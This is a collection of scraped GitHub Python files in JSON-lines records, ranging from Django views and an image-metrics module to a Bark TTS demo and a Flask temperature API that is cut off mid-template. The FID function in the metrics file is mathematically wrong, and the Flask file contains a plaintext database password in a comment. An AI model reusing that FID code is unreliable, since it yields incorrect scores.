\"file.json\"\n __objects = {}\n\n def all(self):\n \"\"\" returns the dictionary objects \"\"\"\n return self.__objects\n\n def new(self, obj):\n \"\"\" sets in objects the obj with key .id \"\"\"\n\n key = \"{}.{}\".format(obj.__class__.__name__, obj.id)\n self.__objects[key] = obj\n self.save()\n\n def save(self):\n \"\"\" serializes objects to the JSON file \"\"\"\n dicts = {}\n for key, value in self.__objects.items():\n dicts[key] = value.to_dict()\n with open(self.__file_path, 'w') as f:\n json.dump(dicts, f)\n\n def reload(self):\n \"\"\" deserializes the JSON file to objects \"\"\"\n if exists(self.__file_path):\n with open(self.__file_path, 'r') as f:\n dicts = json.load(f)\n for key, value in dicts.items():\n self.__objects[key] = BaseModel(**value)\n else:\n pass\n","repo_name":"IsmaelMolina-code/holbertonschool-AirBnB_clone","sub_path":"models/engine/file_storage.py","file_name":"file_storage.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15382545108","text":"from django.shortcuts import render, get_object_or_404\nfrom .models import Product\nfrom django.http import Http404\nfrom django.db.models import Avg, Min, Max\n\n\n# Create your views here.\n\ndef product_list(request):\n products = Product.objects.all().order_by('-rating')\n number_of_products = products.count()\n average = products.aggregate(Avg('rating'))\n return render(request, 'product_module/product_list.html', {\n 'products': products,\n 'total_number_of_product':number_of_products,\n 'average_ratings': average,\n })\n\n\n\ndef product_detail(request, slug):\n # try:\n # product = Product.objects.get(id=product_id)\n # except:\n # raise Http404()\n product = get_object_or_404(Product, slug=slug)\n return render(request, 'product_module/product_detail.html', {\n 'product': product\n })\n","repo_name":"Khodaprst/GitHub","sub_path":"eshop_project/product_module/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"13969098057","text":"import random\nim = open('Image/dos.pgm','w')\nim.write('P2\\n')\nim.write('# Hugo Araya Carrasco\\n')\nim.write('512 512\\n')\nim.write('255\\n')\nimagen = ''\nfor i in range(512*512):\n numero = random.randint(0,255)\n imagen = imagen + str(numero)+' '\n\nim.write(imagen+'\\n')\nim.close()","repo_name":"hugo-araya/Seccion1","sub_path":"imagen_pgm/ran.py","file_name":"ran.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18744116964","text":"from typing import List\n\n\nclass Solution:\n def minAvailableDuration(self, slots1: List[List[int]], slots2: List[List[int]], duration: int) -> List[int]:\n idx1 = idx2 = 0\n\n slots1 = sorted(slots1)\n slots2 = sorted(slots2)\n\n while idx1 <= len(slots1) - 1 and idx2 <= len(slots2) - 1:\n s1 = slots1[idx1]\n s2 = slots2[idx2]\n left_intersection = max(s1[0], s2[0])\n right_intersection = min(s1[1], s2[1])\n if right_intersection - left_intersection >= duration:\n return [left_intersection, left_intersection + duration]\n\n # always move the one that ends earlier!\n if s1[1] < s2[1]:\n idx1 += 1\n else:\n idx2 += 1\n\n return []\n","repo_name":"ivankliuk/leetcode","sub_path":"python/meeting-scheduler.py","file_name":"meeting-scheduler.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3088785121","text":"from collections import defaultdict\nfrom typing import *\n\nfrom tqdm import tqdm\n\nfrom backend.trainers.components.mappings.base import _display_creation_kickoff_message\nfrom backend.trainers.components.mappings.token.occurrences import (\n ParaphrasesPOSTagsList,\n ParaphrasesTokens,\n ParaphrasesTokensList\n)\nfrom backend.trainers.components.mappings.token.sentence_indices.base import SentenceIndex2UniqueTokens\nfrom backend.trainers.components.sentence_data import SentenceData\nfrom backend.utils import iterables, strings\n\n\ndef token_maps_foundations(\n sentence_data: SentenceData,\n tokenize_with_pos_tags: Callable[[str], List[Tuple[str, str]]]\n) -> Tuple[SentenceIndex2UniqueTokens, Tuple[ParaphrasesTokensList, ParaphrasesPOSTagsList]]:\n\n # create paraphrases map\n english_sentence_2_paraphrases_with_indices = _english_sentence_paraphrases_with_indices_map(sentence_data=sentence_data)\n\n # define foundations\n sentence_index_2_unique_tokens: SentenceIndex2UniqueTokens = {}\n paraphrases_tokens_list: ParaphrasesTokensList = []\n paraphrases_pos_tags_list: ParaphrasesPOSTagsList = []\n\n # procure proper nouns\n proper_nouns: Set[str] = sentence_data.deduce_proper_nouns()\n\n print('Creating token maps foundations...')\n for paraphrases_with_indices in tqdm(english_sentence_2_paraphrases_with_indices.values()):\n paraphrases, indices = iterables.unzip(paraphrases_with_indices)\n\n # tokenize paraphrases and procure pos tags\n paraphrases_tokens_with_pos_tags: List[List[Tuple[str, str]]] = [tokenize_with_pos_tags(sentence) for sentence in paraphrases]\n if any(map(len, paraphrases_tokens_with_pos_tags)):\n paraphrases_tokens, paraphrases_pos_tags = map(iterables.none_stripped, iterables.unzip_longest(map(lambda paraphrase_tokens_with_pos_tags: iterables.unzip(paraphrase_tokens_with_pos_tags), paraphrases_tokens_with_pos_tags)))\n\n # strip proper nouns, tokens containing digits; convert to lowercase\n paraphrases_tokens = _process_paraphrases_tokens(paraphrases_tokens, proper_nouns=proper_nouns)\n\n # update foundations\n sentence_index_2_unique_tokens.update({index: set(comprising_tokens) for index, comprising_tokens in zip(indices, paraphrases_tokens)})\n paraphrases_tokens_list.append(paraphrases_tokens)\n paraphrases_pos_tags_list.append(paraphrases_pos_tags)\n\n return sentence_index_2_unique_tokens, (paraphrases_tokens_list, paraphrases_pos_tags_list)\n\n\n@_display_creation_kickoff_message('Creating paraphrases map...')\ndef _english_sentence_paraphrases_with_indices_map(sentence_data: SentenceData) -> DefaultDict[str, List[Tuple[str, int]]]:\n english_sentence_2_paraphrases = defaultdict(list)\n\n for i, (english_sentence, foreign_sentence) in enumerate(tqdm(sentence_data)):\n english_sentence_2_paraphrases[english_sentence].append((foreign_sentence, i))\n\n return english_sentence_2_paraphrases\n\n\ndef _process_paraphrases_tokens(paraphrases_tokens: ParaphrasesTokens, proper_nouns: Set[str]) -> ParaphrasesTokens:\n \"\"\" Removes proper nouns, tokens containing digits from paraphrases tokens,\n converts tokens to lowercase \"\"\"\n\n for i, paraphrase_tokens in enumerate(paraphrases_tokens):\n lowercase_paraphrase_tokens = (token.lower() for token in paraphrase_tokens)\n paraphrases_tokens[i] = list(filter(lambda token: token not in proper_nouns and strings.is_digit_free(token), lowercase_paraphrase_tokens))\n\n return paraphrases_tokens\n","repo_name":"w2sv/Lingularity-DataMiner","sub_path":"src/token_maps/foundations.py","file_name":"foundations.py","file_ext":"py","file_size_in_byte":3555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11486050607","text":"import warnings\n\nimport numpy as np\nfrom ranges import Range\n\nfrom .state import State\nfrom .extent import RectangleExtent, Point2D\nfrom .utils import int_log2\n\n\ndef empty_quadtree(extent: RectangleExtent, default=State.DEAD):\n from .node import Quadtree\n assert extent.width == extent.height\n level = int_log2(extent.width)\n return Quadtree.empty(level, default)\n\n\nclass Grid(np.ndarray):\n @classmethod\n def from_list(cls, l):\n return np.asarray(l, dtype=object).view(cls)\n\n def __repr__(self):\n return f\"{self.__class__.__name__}(shape={self.shape})\"\n\n def __str__(self):\n if self.ndim != 2:\n warnings.warn(f'Grid should be 2-dimensional, got shape {self.shape}')\n return super().__str__()\n elif self.shape[0] > 0 and self.shape[1] > 0 and not isinstance(self[0, 0], State):\n return super().__str__()\n return '\\n'.join(''.join(str(state) for state in row) for row in self)\n\n @classmethod\n def from_str(cls, s):\n s = s.strip()\n lines = s.splitlines()\n return np.array([[State.from_str(c) for c in line.strip()] for line in lines], dtype=object).view(cls)\n\n @classmethod\n def uninhabitable(cls, width, height):\n # np.full casts our IntEnum to int64 despite dtype=object, so we first\n # create an empty array and then fill it\n grid = np.empty((height, width), dtype=object)\n grid[:] = State.UNINHABITABLE\n return grid.view(cls)\n\n @classmethod\n def dead(cls, width, height):\n grid = np.empty((height, width), dtype=object)\n grid[:] = State.DEAD\n return grid.view(cls)\n\n\nclass LazyGrid:\n def __init__(self, default=State.DEAD):\n assert isinstance(default, State)\n self.default = default\n self._grids = []\n\n def add_grid(self, offset: Point2D, grid: Grid):\n assert isinstance(grid, Grid)\n assert isinstance(offset, Point2D)\n extent = RectangleExtent(Range(offset.x, offset.x + grid.shape[1]), Range(offset.y, offset.y + grid.shape[0]))\n self._grids.append((extent, grid))\n\n def get_quadtree(self, extent: RectangleExtent):\n from .node import QuadtreeBranch, QuadtreeLeaf\n assert extent.width == extent.height\n if extent.width == 1:\n return QuadtreeLeaf(self[Point2D(extent.x_range.start, extent.y_range.start)])\n elif not any(extent.intersects(other_extent) for other_extent, _ in self._grids):\n return empty_quadtree(extent, self.default)\n else:\n assert extent.width % 2 == 0 and extent.height % 2 == 0\n half_width = extent.width // 2\n half_height = extent.height // 2\n ((nw, ne), (sw, se)) = extent.split_x_y()\n return QuadtreeBranch(np.array([\n [self.get_quadtree(nw), self.get_quadtree(ne)],\n [self.get_quadtree(sw), self.get_quadtree(se)]\n ], dtype=object))\n\n def __getitem__(self, point: Point2D):\n values = []\n for extent, grid in self._grids:\n if point in extent:\n values.append(grid[point.y - extent.y_range.start, point.x - extent.x_range.start])\n if values:\n if values[0] == State.UNINHABITABLE:\n assert all(value == State.UNINHABITABLE for value in values)\n return State.UNINHABITABLE\n elif any(value == State.ALIVE for value in values): # OR all values\n return State.ALIVE\n else:\n return State.DEAD\n return self.default\n\n\nclass GridFromQuadtree:\n def __init__(self, quadtree):\n self.quadtree = quadtree\n\n def __getitem__(self, point: Point2D):\n return self.quadtree.get_state(point.x, point.y)\n\n def initial_quadtree_and_extent(self):\n return self.quadtree, RectangleExtent(\n Range(0, self.quadtree.width()),\n Range(0, self.quadtree.width()),\n )\n\n def expand_quadtree_and_extent(self, quadtree, extent: RectangleExtent):\n from .node import QuadtreeBranch\n empty = empty_quadtree(extent)\n if (extent.x_range.start + extent.x_range.end) // 2 > 0:\n # Midpoint is positive; expand north-west\n new_extent = RectangleExtent(\n Range(extent.x_range.start - extent.width, extent.x_range.end),\n Range(extent.y_range.start - extent.height, extent.y_range.end),\n )\n new_quadtree = QuadtreeBranch(np.array([\n [empty, empty],\n [empty, quadtree]\n ], dtype=object))\n else:\n # Midpoint is negative; expand south-east\n new_extent = RectangleExtent(\n Range(extent.x_range.start, extent.x_range.end + extent.width),\n Range(extent.y_range.start, extent.y_range.end + extent.height),\n )\n new_quadtree = QuadtreeBranch(np.array([\n [quadtree, empty],\n [empty, empty]\n ], dtype=object))\n return (new_quadtree, new_extent)\n","repo_name":"joliss/hashlife3d","sub_path":"src/hashlife3d/grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":5081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40164374455","text":"import sys\nimport cv2\nimport argparse\nimport time\nfrom pose.openpose.import_libs import openpose, openpose_model_folder\n\ntry:\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--image_dir\", default=\"../examples/media/\",\n help=\"Process a directory of images. Read all standard formats (jpg, png, bmp, etc.).\"\n )\n parser.add_argument(\"--no_display\", default=True, help=\"Enable to disable the visual display.\")\n args = parser.parse_known_args()\n\n # Custom Params (refer to include/openpose/flags.hpp for more parameters)\n params = dict()\n params[\"model_folder\"] = openpose_model_folder\n\n # Add others in path?\n for i in range(0, len(args[1])):\n curr_item = args[1][i]\n if i != len(args[1]) - 1:\n next_item = args[1][i + 1]\n else:\n next_item = \"1\"\n if \"--\" in curr_item and \"--\" in next_item:\n key = curr_item.replace('-', '')\n if key not in params: params[key] = \"1\"\n elif \"--\" in curr_item and \"--\" not in next_item:\n key = curr_item.replace('-', '')\n if key not in params: params[key] = next_item\n\n # Construct it from system arguments\n # op.init_argv(args[1])\n # oppython = op.OpenposePython()\n\n # Starting OpenPose\n opWrapper = openpose.WrapperPython()\n opWrapper.configure(params)\n opWrapper.start()\n\n # Read frames on directory\n imagePaths = openpose.get_images_on_directory(args[0].image_dir)\n start = time.time()\n\n # Process and display images\n for imagePath in imagePaths:\n datum = openpose.Datum()\n imageToProcess = cv2.imread(imagePath)\n datum.cvInputData = imageToProcess\n opWrapper.emplaceAndPop(openpose.VectorDatum([datum]))\n\n print(\"Body keypoints: \\n\" + str(datum.poseKeypoints))\n\n if not args[0].no_display:\n cv2.imshow(\"OpenPose 1.7.0 - Tutorial Python API\", datum.cvOutputData)\n key = cv2.waitKey(15)\n if key == 27:\n break\n\n end = time.time()\n print(\"OpenPose demo successfully finished. Total time: \" + str(end - start) + \" seconds\")\nexcept Exception as e:\n print(e)\n sys.exit(-1)\n","repo_name":"realzza/Presento","sub_path":"pose/openpose/04_keypoints_from_images.py","file_name":"04_keypoints_from_images.py","file_ext":"py","file_size_in_byte":2193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72626342812","text":"import cv2\nimport numpy as np\nimport torch\n\n# convert 2/3/4-dimensional torch tensor to uint\ndef tensor2uint(img: torch.Tensor):\n img = img.squeeze().float().clamp_(0, 1).cpu().numpy()\n if img.ndim == 3:\n img = np.transpose(img, (1, 2, 0))\n return np.uint8((img*255.0).round())\n \ndef calculate_psnr(img1, img2, crop_border=0, input_order='HWC', test_y_channel=False):\n assert img1.shape == img2.shape, (f'Image shapes are different: {img1.shape}, {img2.shape}.')\n if input_order not in ['HWC', 'CHW']:\n raise ValueError(f'Wrong input_order {input_order}. Supported input_orders are ' '\"HWC\" and \"CHW\"')\n img1 = reorder_image(img1, input_order=input_order)\n img2 = reorder_image(img2, input_order=input_order)\n img1 = img1.astype(np.float64)\n img2 = img2.astype(np.float64)\n\n if crop_border != 0:\n img1 = img1[crop_border:-crop_border, crop_border:-crop_border, ...]\n img2 = img2[crop_border:-crop_border, crop_border:-crop_border, ...]\n\n if test_y_channel:\n img1 = to_y_channel(img1)\n img2 = to_y_channel(img2)\n\n mse = np.mean((img1 - img2) ** 2)\n if mse == 0:\n return float('inf')\n return 20. * np.log10(255. / np.sqrt(mse))\n\n\ndef _ssim(img1, img2):\n C1 = (0.01 * 255) ** 2\n C2 = (0.03 * 255) ** 2\n\n img1 = img1.astype(np.float64)\n img2 = img2.astype(np.float64)\n kernel = cv2.getGaussianKernel(11, 1.5)\n window = np.outer(kernel, kernel.transpose())\n\n mu1 = cv2.filter2D(img1, -1, window)[5:-5, 5:-5]\n mu2 = cv2.filter2D(img2, -1, window)[5:-5, 5:-5]\n mu1_sq = mu1 ** 2\n mu2_sq = mu2 ** 2\n mu1_mu2 = mu1 * mu2\n sigma1_sq = cv2.filter2D(img1 ** 2, -1, window)[5:-5, 5:-5] - mu1_sq\n sigma2_sq = cv2.filter2D(img2 ** 2, -1, window)[5:-5, 5:-5] - mu2_sq\n sigma12 = cv2.filter2D(img1 * img2, -1, window)[5:-5, 5:-5] - mu1_mu2\n\n ssim_map = ((2 * mu1_mu2 + C1) * (2 * sigma12 + C2)) / ((mu1_sq + mu2_sq + C1) * (sigma1_sq + sigma2_sq + C2))\n return ssim_map.mean()\n\n\ndef calculate_ssim(img1, img2, crop_border=0, input_order='HWC', test_y_channel=False):\n assert img1.shape == img2.shape, (f'Image shapes are differnet: {img1.shape}, {img2.shape}.')\n if img1.dtype is not np.uint8:\n img1 = (img1 * 255.0).round().astype(np.uint8) # float32 to uint8\n if img2.dtype is not np.uint8:\n img2 = (img2 * 255.0).round().astype(np.uint8) # float32 to uint8\n if input_order not in ['HWC', 'CHW']:\n raise ValueError(f'Wrong input_order {input_order}. Supported input_orders are ' '\"HWC\" and \"CHW\"')\n img1 = reorder_image(img1, input_order=input_order)\n img2 = reorder_image(img2, input_order=input_order)\n img1 = img1.astype(np.float64)\n img2 = img2.astype(np.float64)\n\n if crop_border != 0:\n img1 = img1[crop_border:-crop_border, crop_border:-crop_border, ...]\n img2 = img2[crop_border:-crop_border, crop_border:-crop_border, ...]\n\n if test_y_channel:\n img1 = to_y_channel(img1)\n img2 = to_y_channel(img2)\n\n ssims = []\n for i in range(img1.shape[2]):\n ssims.append(_ssim(img1[..., i], img2[..., i]))\n return np.array(ssims).mean()\n\n\ndef _blocking_effect_factor(im):\n block_size = 8\n\n block_horizontal_positions = torch.arange(7, im.shape[3] - 1, 8)\n block_vertical_positions = torch.arange(7, im.shape[2] - 1, 8)\n\n horizontal_block_difference = (\n (im[:, :, :, block_horizontal_positions] - im[:, :, :, block_horizontal_positions + 1]) ** 2).sum(\n 3).sum(2).sum(1)\n vertical_block_difference = (\n (im[:, :, block_vertical_positions, :] - im[:, :, block_vertical_positions + 1, :]) ** 2).sum(3).sum(\n 2).sum(1)\n\n nonblock_horizontal_positions = np.setdiff1d(torch.arange(0, im.shape[3] - 1), block_horizontal_positions)\n nonblock_vertical_positions = np.setdiff1d(torch.arange(0, im.shape[2] - 1), block_vertical_positions)\n\n horizontal_nonblock_difference = (\n (im[:, :, :, nonblock_horizontal_positions] - im[:, :, :, nonblock_horizontal_positions + 1]) ** 2).sum(\n 3).sum(2).sum(1)\n vertical_nonblock_difference = (\n (im[:, :, nonblock_vertical_positions, :] - im[:, :, nonblock_vertical_positions + 1, :]) ** 2).sum(\n 3).sum(2).sum(1)\n\n n_boundary_horiz = im.shape[2] * (im.shape[3] // block_size - 1)\n n_boundary_vert = im.shape[3] * (im.shape[2] // block_size - 1)\n boundary_difference = (horizontal_block_difference + vertical_block_difference) / (\n n_boundary_horiz + n_boundary_vert)\n\n n_nonboundary_horiz = im.shape[2] * (im.shape[3] - 1) - n_boundary_horiz\n n_nonboundary_vert = im.shape[3] * (im.shape[2] - 1) - n_boundary_vert\n nonboundary_difference = (horizontal_nonblock_difference + vertical_nonblock_difference) / (\n n_nonboundary_horiz + n_nonboundary_vert)\n\n scaler = np.log2(block_size) / np.log2(min([im.shape[2], im.shape[3]]))\n bef = scaler * (boundary_difference - nonboundary_difference)\n\n bef[boundary_difference <= nonboundary_difference] = 0\n return bef\n\n\ndef calculate_psnrb(img1, img2, crop_border, input_order='HWC', test_y_channel=False):\n assert img1.shape == img2.shape, (f'Image shapes are differnet: {img1.shape}, {img2.shape}.')\n if input_order not in ['HWC', 'CHW']:\n raise ValueError(f'Wrong input_order {input_order}. Supported input_orders are ' '\"HWC\" and \"CHW\"')\n img1 = reorder_image(img1, input_order=input_order)\n img2 = reorder_image(img2, input_order=input_order)\n img1 = img1.astype(np.float64)\n img2 = img2.astype(np.float64)\n\n if crop_border != 0:\n img1 = img1[crop_border:-crop_border, crop_border:-crop_border, ...]\n img2 = img2[crop_border:-crop_border, crop_border:-crop_border, ...]\n\n if test_y_channel:\n img1 = to_y_channel(img1)\n img2 = to_y_channel(img2)\n\n img1 = torch.from_numpy(img1).permute(2, 0, 1).unsqueeze(0) / 255.\n img2 = torch.from_numpy(img2).permute(2, 0, 1).unsqueeze(0) / 255.\n\n total = 0\n for c in range(img1.shape[1]):\n mse = torch.nn.functional.mse_loss(img1[:, c:c + 1, :, :], img2[:, c:c + 1, :, :], reduction='none')\n bef = _blocking_effect_factor(img1[:, c:c + 1, :, :])\n\n mse = mse.view(mse.shape[0], -1).mean(1)\n total += 10 * torch.log10(1 / (mse + bef))\n\n return float(total) / img1.shape[1]\n\n\ndef reorder_image(img, input_order='HWC'):\n if input_order not in ['HWC', 'CHW']:\n raise ValueError(f'Wrong input_order {input_order}. Supported input_orders are ' \"'HWC' and 'CHW'\")\n if len(img.shape) == 2:\n img = img[..., None]\n if input_order == 'CHW':\n img = img.transpose(1, 2, 0)\n return img\n\n\ndef to_y_channel(img):\n img = img.astype(np.float32) / 255.\n if img.ndim == 3 and img.shape[2] == 3:\n img = rgb2ycbcr(img, y_only=True)\n img = img[..., None]\n else:\n raise ValueError(f'Wrong image shape [2]: {img.shape[2]}.')\n return img * 255.\n\n\ndef _convert_input_type_range(img):\n img_type = img.dtype\n img = img.astype(np.float32)\n if img_type == np.float32:\n pass\n elif img_type == np.uint8:\n img /= 255.\n else:\n raise TypeError('The img type should be np.float32 or np.uint8, ' f'but got {img_type}')\n return img\n\n\ndef _convert_output_type_range(img, dst_type):\n if dst_type not in (np.uint8, np.float32):\n raise TypeError('The dst_type should be np.float32 or np.uint8, ' f'but got {dst_type}')\n if dst_type == np.uint8:\n img = img.round()\n else:\n img /= 255.\n return img.astype(dst_type)\n\n\ndef rgb2ycbcr(img, y_only=False):\n img_type = img.dtype\n img = _convert_input_type_range(img)\n if y_only:\n out_img = np.dot(img, [65.481, 128.553, 24.966]) + 16.0\n else:\n out_img = np.matmul(\n img, [[65.481, -37.797, 112.0], [128.553, -74.203, -93.786],[24.966, 112.0, -18.214]]) + [16, 128, 128]\n out_img = _convert_output_type_range(out_img, img_type)\n return out_img\n\ndef calculate_fid_score(predicted_images, true_images, eps=1e-6):\n \"\"\"\n Calculates the Frechet Inception Distance (FID) score between predicted and true images.\n\n Args:\n predicted_images (torch.Tensor): Tensor containing the predicted images.\n true_images (torch.Tensor): Tensor containing the true images.\n eps (float): A small value to avoid division by zero. Default: 1e-6.\n\n Returns:\n float: The FID score between the predicted and true images.\n \"\"\"\n\n # Calculate the mean and covariance of the true images\n true_images = true_images.detach().cpu().numpy()\n true_images = np.transpose(true_images, (0, 2, 3, 1))\n true_images = (true_images * 255).astype(np.uint8)\n true_images = true_images.reshape(true_images.shape[0], -1)\n true_mean = np.mean(true_images, axis=0)\n true_cov = np.cov(true_images, rowvar=False)\n\n # Calculate the mean and covariance of the predicted images\n predicted_images = predicted_images.detach().cpu().numpy()\n predicted_images = np.transpose(predicted_images, (0, 2, 3, 1))\n predicted_images = (predicted_images * 255).astype(np.uint8)\n predicted_images = predicted_images.reshape(predicted_images.shape[0], -1)\n pred_mean = np.mean(predicted_images, axis=0)\n pred_cov = np.cov(predicted_images, rowvar=False)\n\n # Calculate the FID score\n fid = np.sum((true_mean - pred_mean)**2) + np.trace(true_cov + pred_cov - 2*np.sqrt(true_cov.dot(pred_cov))+eps)\n\n return fid","repo_name":"TheMoon2000/cs280-final-project","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6572969962","text":"import time\r\nimport json\r\n\r\nfrom bot_word_functions import word_clear\r\nfrom bot_leader_functions import clear_leader\r\n\r\n\r\ndef first_run(message): # Create *.json\r\n players = [dict(id=message.from_user.id, first_name=message.from_user.first_name,\r\n username=message.from_user.username, total_score=0, event_score=0, address=None)]\r\n with open(f'{message.chat.title}.json', 'w+') as f:\r\n json.dump(dict(chat_id=message.chat.id, game_id=0, is_event=None, leader_id=None, hidden_word=None,\r\n players=players), f, indent=4, ensure_ascii=False)\r\n\r\n\r\ndef check_admin(message, admins) -> bool:\r\n admins_list = []\r\n for admin in admins:\r\n if not admin.user.is_bot:\r\n admins_list.append(admin.user.id)\r\n for admin_id in admins_list:\r\n if message.from_user.id == admin_id:\r\n return True\r\n\r\n\r\ndef get_game_id(message) -> int:\r\n with open(f'{message.chat.title}.json', 'r') as f:\r\n chat_data = json.load(f)\r\n chat_data['game_id'] = chat_data['game_id'] + 1\r\n with open(f'{message.chat.title}.json', 'w') as f:\r\n json.dump(chat_data, f, indent=4, ensure_ascii=False)\r\n return chat_data['game_id']\r\n\r\n\r\ndef show_stat(message) -> str:\r\n with open(f'{message.chat.title}.json', 'r') as f:\r\n players_dict = json.load(f)\r\n new_dict = {}\r\n for player in players_dict['players']:\r\n if not players_dict['is_event']:\r\n new_dict[player['first_name']] = player['total_score']\r\n else:\r\n new_dict[player['first_name']] = player['event_score']\r\n sorted_new_dict_tuples = sorted(new_dict.items(), key=lambda item: item[1], reverse=True)\r\n sorted_dict = {k: v for k, v in sorted_new_dict_tuples}\r\n message_text = []\r\n place = 0\r\n for k in sorted_dict:\r\n place += 1\r\n if not players_dict['is_event']:\r\n message_text.append(f'{place}. Счет: {sorted_dict.get(k)} - {k}')\r\n else:\r\n message_text.append(f'{place}. Earn: {sorted_dict.get(k)} VQRC - {k}')\r\n return '\\n'.join(message_text)\r\n\r\n\r\ndef clear_round_data(message):\r\n clear_leader(message)\r\n word_clear(message)\r\n time.sleep(1)\r\n\r\n","repo_name":"surugh/vqr_p2e_crocodile_bot","sub_path":"bot_functions.py","file_name":"bot_functions.py","file_ext":"py","file_size_in_byte":2273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6736809699","text":"from django import forms\nfrom . import models\n\n\nclass CommentForm(forms.ModelForm):\n class Meta:\n fields = (\"message\",\"files\",\"post\")\n model = models.Comment\n\n def __init__(self, *args, **kwargs):\n user = kwargs.pop(\"user\", None)\n super().__init__(*args, **kwargs)\n if user is not None:\n self.fields[\"post\"].queryset = (\n models.Post.objects.filter(\n pk__in=user.posts.values_list(\"post__pk\")\n )\n )\n","repo_name":"AgrawalNeha25/MyProdctivityToolKit","sub_path":"ToDo App/comments/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72609629531","text":"def ruler(num):\r\n i = 1\r\n list1 = \"\"\r\n list2 = \" \"\r\n while(i<=num):\r\n list1 += str(i % 10)\r\n i += 1\r\n if (i % 10 == 0):\r\n list2 += str(int(i / 10))\r\n else:\r\n list2 += \" \"\r\n\r\n print(list2)\r\n print(list1)\r\n\r\nnum = int(raw_input())\r\nruler(num)\r\n","repo_name":"harikad99/Python-Scripting--L1-Assignments","sub_path":"ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13556696851","text":"from datetime import datetime\n\nfrom dateutil import rrule\nfrom optimum.bettertransformer import BetterTransformer\nfrom transformers import AutoProcessor, BarkModel\nimport scipy\nimport torch\n# my_now = datetime.now()\n\n# def get_current_device():\n# # print(\"get_current_device...\")\n#\n# DEVICE = \"cuda\" if torch.cuda.is_available() else \"mps\" if torch.backends.mps.is_available() else \"cpu\"\n# DEVICE_ID = \"0\"\n# CUDA_DEVICE = f\"{DEVICE}:{DEVICE_ID}\" if DEVICE_ID else DEVICE\n# # if debug:\n# print(f\"DEVICE:{DEVICE}\")\n# return DEVICE, CUDA_DEVICE\n#\n# DEVICE, CUDA_DEVICE = get_current_device()\n\n\ndevice = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n# device = \"cuda\" if torch.cuda.is_available() else \"mps\" if torch.backends.mps.is_available() else \"cpu\"\n\n# 指定本地模型\nmodel_path = \"/Users/jingwu/janewu/llm-model/bark/bark\"\nprocessor = AutoProcessor.from_pretrained(model_path)\nmodel = BarkModel.from_pretrained(model_path, torch_dtype=torch.float).to(device)\n\n# convert to bettertransformer\nmodel = BetterTransformer.transform(model, keep_original_model=False)\n\nsample_rate = model.generation_config.sample_rate\n\n\ndef do_tts(voice_preset, text_prompt, output_wave_fn):\n my_now = datetime.now()\n inputs = processor(text_prompt, voice_preset=voice_preset)\n # print(inputs)\n audio_array = model.generate(**inputs)\n audio_array = audio_array.cpu().numpy().squeeze()\n\n # save them as a .wav file\n scipy.io.wavfile.write(output_wave_fn, rate=sample_rate, data=audio_array)\n print(f\"[total spend]: {rrule.rrule(freq=rrule.SECONDLY, dtstart=my_now, until=datetime.now()).count()} seconds\")\n\n\ndef do_gen_example():\n # v2/en_speaker_6\" v2/en_speaker_0\"\n # \"v2/en_speaker_0\"\n text_prompt = \"Hi! Of course, we can talk about snacks. What would you like to discuss?\"\n # text_prompt = \"我是东圆有线网络有限公司的在线AI客服,由公司的开发团队开发。很抱歉,我无法提供开发者的联系方式。\"\n for i in range(10):\n voice_preset = f\"v2/en_speaker_{i}\"\n output_wave_fn = f\"bark_output_{i}.en.wav\"\n do_tts(voice_preset, text_prompt, output_wave_fn)\n\n\nif __name__ == '__main__':\n text_prompt = \"我是东圆有线网络有限公司的在线AI客服,由公司的开发团队开发。很抱歉,我无法提供开发者的联系方式。\"\n voice_preset = f\"v2/zh_speaker_0\"\n output_wave_fn = f\"bark_output_0.zh.wav\"\n do_tts(voice_preset, text_prompt, output_wave_fn)\n\n","repo_name":"janewu77/jshare-llm-demo","sub_path":"bark-demo/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":2497,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"41930547761","text":"# distance calculation\n\nimport math\nimport time\nimport flask\nfrom flask import Flask\nimport requests\nfrom flask import request, jsonify\nfrom pymysql import *\nimport sys\nimport pandas as pd\nfrom flask import send_file\nfrom flask import render_template\n\napiKey = '**********'\ndb_name = \"guy_temps\"\nport = '1234'\nchart_template = 'chart_line.html'\n\napp = flask.Flask(__name__)\napp.config[\"DEBUG\"] = True\n\n#db_opts = {'user': 'root', 'password': 'pass2014', 'host': '172.17.0.3', 'database': 'temprature'}\n\n\n@app.route('/', methods=['GET'])\ndef home():\n return '

    Temperature data restAPI

    Take a look

    for details, contact   guy@example.com

